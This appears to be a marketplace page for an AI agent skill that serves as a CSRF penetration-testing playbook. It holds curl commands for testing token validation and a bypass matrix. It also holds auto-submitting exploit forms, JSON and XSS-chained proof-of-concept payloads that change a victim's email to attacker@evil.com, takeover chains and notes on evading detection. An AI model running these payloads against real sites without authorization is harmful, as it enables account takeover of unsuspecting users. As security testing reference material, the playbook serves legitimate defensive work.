# Csrf

> Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover.

- Skill: `purpleailab/csrf` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/csrf`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/csrf/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/csrf

---


# CSRF Playbook

Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that
trusts ambient cookies and lacks a per-request unguessable token is forgeable.
Severity scales with the action: password/email change, fund transfer, role
grant → account takeover (Critical). Read-only CSRF (no state change) → Info.

## 1. Detection — is the endpoint actually protected?
```bash
# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'

# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "email=attacker@evil.com"

# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "csrf=AAAAAAAA&email=attacker@evil.com"

# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"

# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"

# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
  "https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"
```
HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.

## 2. Bypass / misconfig matrix

| Class | Server flaw | Bypass |
|---|---|---|
| Token absent | no token at all | direct cross-origin form POST |
| Token not validated | header sent but never checked | send empty / random token |
| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |
| Predictable token | sequential / timestamp / md5(userid) | precompute |
| Token in URL | leaks via Referer / logs / shoulder | steal then replay |
| Method-override | `_method=POST`, `X-HTTP-Method-Override: POST` | turn protected POST into a GET CSRF |
| JSON CSRF | accepts `Content-Type: application/json` from forms | submit form with `enctype=text/plain` + crafted body, or use `fetch` |
| Content-type bypass | only validates token when CT=`application/x-www-form-urlencoded` | switch to `text/plain` or `multipart/form-data` |
| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or `<form method=POST>` triggered by user click |
| SameSite=None | no protection at all | classic cross-site form |
| Missing on subset | only `/admin/*` protected | unprotected sister endpoint (`/api/v1/email`) |
| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |
| Logout CSRF | logout has no token | denial-of-service / phishing reset |
| Double-submit cookie flaw | cookie not `__Host-` prefixed / set from any subdomain | XSS on subdomain plants the cookie + matching body value |
| Referer-only check | header strippable | `<meta name="referrer" content="no-referrer">` on attacker page |

## 3. Exploit PoC

### 3.1 Classic form CSRF (auto-submit)
```html
<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
  <input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>
```

### 3.2 JSON CSRF via text/plain
```html
<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
```

### 3.3 CSRF via XSS (defeats double-submit / SameSite)
```js
// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
  fetch('/account/email', {
    method: 'POST', credentials: 'include',
    headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
    body: 'email=attacker@evil.com'
  });
});
```

## 4. Chains
- **CSRF → ATO**: change email → password reset → full takeover.
- **Login CSRF → activity capture**: victim posts data into attacker's account.
- **CSRF → privilege grant**: forge `role=admin` mass-assignment POST.
- **Subdomain XSS → double-submit bypass**: write the CSRF cookie from a sibling, then forge.

## 5. Tools
- Burp Suite — *Engagement Tools → Generate CSRF PoC*, *CSRF Scanner* extension
- **XSRFProbe** — automated CSRF audit (`xsrfprobe -u https://<TARGET>`)
- **Bolt** — context-aware CSRF scanner

## 6. Detection signatures & OPSEC

| Indicator | Detection method | OPSEC note |
|---|---|---|
| Many `POST` from foreign Origin | WAF Origin/Referer rule | Use blank/null Referer to test, throttle |
| Repeated token mutation on one session | App-side anomaly | Toggle one variable per request |
| Auto-submit form referrer from attacker host | Access-log correlation | Host PoC on in-scope collector during authorized tests |

## Decision Gate: CSRF confirmed → exploitation
- [ ] State-changing action succeeds without / with junk token
- [ ] Origin/Referer not strictly validated (or strippable)
- [ ] Cookie reaches the endpoint cross-site (SameSite ≠ Strict, or top-level nav)
- [ ] PoC achieves a security-relevant change (email, password, role, funds)
If all checked, escalate per `finding-protocol`; otherwise downgrade.

